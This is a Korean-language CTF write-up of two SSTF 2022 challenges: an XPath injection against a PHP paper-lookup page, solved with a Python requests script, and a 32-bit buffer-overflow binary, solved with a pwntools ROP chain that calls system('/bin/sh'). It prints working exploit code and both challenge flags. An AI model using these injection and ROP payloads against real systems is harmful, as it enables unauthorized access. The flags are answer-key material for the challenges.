Post

SSTF 2022 Write up

Yet Another Injection

  • login.php 코드에서 볼 수 있듯이 username: guest password: guest 로 로그인이 가능하다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
    session_start();

    $username = check_param("username");
    $pwd = check_param("pwd");

    if (checkUser($username, $pwd)) {
        $_SESSION["username"] = $username;
        header("Location: index.php");
    }

    function check_param($var) {
        if (!isset($_POST[$var]) || $_POST[$var] === "") {
            return "";
        }
        return trim($_POST[$var]);
    }

    function checkUser($username, $pwd) {
        if (($username === "") || ($pwd === "")) {
            return false;
        }

        $accounts = @file_get_contents("accounts.txt");
        if ($accounts === false) {
            $users = array();
        } else {
            $users = explode("\n", $accounts);
        }

        array_push($users, "guest:".hash("sha256", "guest"));

        $granted = false;
        foreach ($users as $each) {
            $info = explode(":",$each);
            if ( $username === trim($info[0]) && hash("sha256", $pwd) === trim($info[1]) ) {
                $granted = true;
                break;
            }
        }

        return $granted;
    }
?>
  • paperdetail.php에서 GET Method로 받은 $idx가 getDetail의 파라미터로 들어간다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
    session_start();

    require_once 'library.php';
    $papers = loadPapers('papers.xml');

    header("Content-Type:application/json");

    if (!isset($_SESSION["username"])) {
        echo json_encode(['status' => 'Error', 'msg' => 'Forbidden']);
    } else if(!isset($_GET['idx'])) {
        echo json_encode(['status' => 'Error', 'msg' => 'Invalid Request']);
    } else {
        $idx = $_GET['idx'];
        $paper = getDetail($papers, $idx);
        echo json_encode($paper);
    }
?>
  • library.php에서 getDetail() 함수를 볼 수 있는데 xpath를 이용해서 데이터를 불러오는 것을 볼 수 있다.
  • xpath injection이 가능한 것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getDetail(DomDocument $papers, string $idx) {
        $xpath = new DOMXPath($papers);
        $query = "//Paper[Idx/text()='".$idx."' and @published='yes']";
        $paper_list = $xpath->query($query);
        
        if ($paper_list == false) {
            return ['status' => 'Error', 'msg' => 'Invalid XPATH expression'];
        }
        if ($paper_list->count() == 0) {
            return ['status' => 'Error', 'msg' => 'No such entity'];
        }

        $paper = $paper_list->item(0);
        return [
            'status' => 'Success', 
            'Title' => getFirstChildText($paper, 'Title'), 
            'Author' => getFirstChildText($paper, 'Author'), 
            'Conference' => getFirstChildText($paper, 'Conference'), 
            'Year' => getFirstChildText($paper, 'Year'), 
            'Abstract' => getFirstChildText($paper, 'Abstract')
        ];
    }
  • xpath query에서 @published 속성을 no로 하여 xpath injection exploit 코드를 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://yai.sstf.site/paperdetail.php'
cookies = {'PHPSESSID':'2af1f1b372ad2b3a6e35db8a5a26f5ea'}

idx = 1

for idx in range(1001):
    params = {'idx': f"{idx}' and @published='no']|Paper[Idx/text()='0"}
    res = requests.get(url, cookies=cookies, params=params)

    if 'SCTF{' in res.text:
        print(res.text)
    else:
        print(res.text)

yetanother1

Flag

SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}


pppr

  • r()함수에서 buffer overflow가 일어난다.

  • 매개변수로 넘겨받은 a1 이 크기가 4인 배열이고 최대 64바이트까지 입력받을 수 있기 때문이다.

  • decompiled.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    
    int __cdecl r(int a1, unsigned int a2, int a3)
    {
      int result; // eax
      char v4; // [esp+3h] [ebp-9h]
      unsigned int i; // [esp+4h] [ebp-8h]
      
      if ( a3 )
      {
        puts("r() works only for stdin.");
        result = -1;
      }
      else
      {
        for ( i = 0; a2 > i; ++i )
        {
          v4 = fgetc(stdin);
          if ( v4 == -1 || v4 == 10 )
            break;
          *(_BYTE *)(a1 + i) = v4;
        }
        *(_BYTE *)(i + a1) = 0;
        result = i;
      }
      return result;
    }
      
    int __cdecl x(char *command)
    {
      return system(command);
    }
      
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char v4[4]; // [esp+0h] [ebp-8h] BYREF
      
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      alarm(0xAu);
      
      r(v4, 64, 0);
      return 0;
    }
    

pop ; pop ; pop; retgadget을 이용해 rop chain을 만들어서 exploit 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = 'debug'

p = process('./pppr')
#p = remote('pppr.sstf.site', 1337)
e = ELF('./pppr')

buf_in_bss = e.symbols['buf_in_bss']
x = e.symbols['x']
r = e.symbols['r']
pppr = 0x080486a9 # pop3ret gadget

log.info('buf_in_bss: ' + hex(buf_in_bss))
log.info('fgetc_plt: ' + hex(fgetc_plt))
log.info('main: ' + hex(main))
log.info('x: ' + hex(x))

payload  = b'AAAA'
payload += p32(0)
payload += p32(0)

# Call r(buf_in_bss, 64, 0)
payload += p32(r)
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(64)
payload += p32(0)

#Call x(buf_in_bss)
payload += p32(x)
payload += p32(0xdeadbeef)
payload += p32(buf_in_bss)

p.sendline(payload)
p.sendline(b'/bin/sh')

p.interactive()

Flag

SCTF{Anc13nt_x86_R0P_5kiLl}

This post is licensed under CC BY 4.0 by the author.